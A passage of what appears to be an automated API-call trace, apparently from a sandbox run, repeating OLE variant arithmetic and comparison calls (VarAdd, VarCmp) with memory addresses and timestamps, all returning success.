pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.779] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.780] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.781] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.782] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 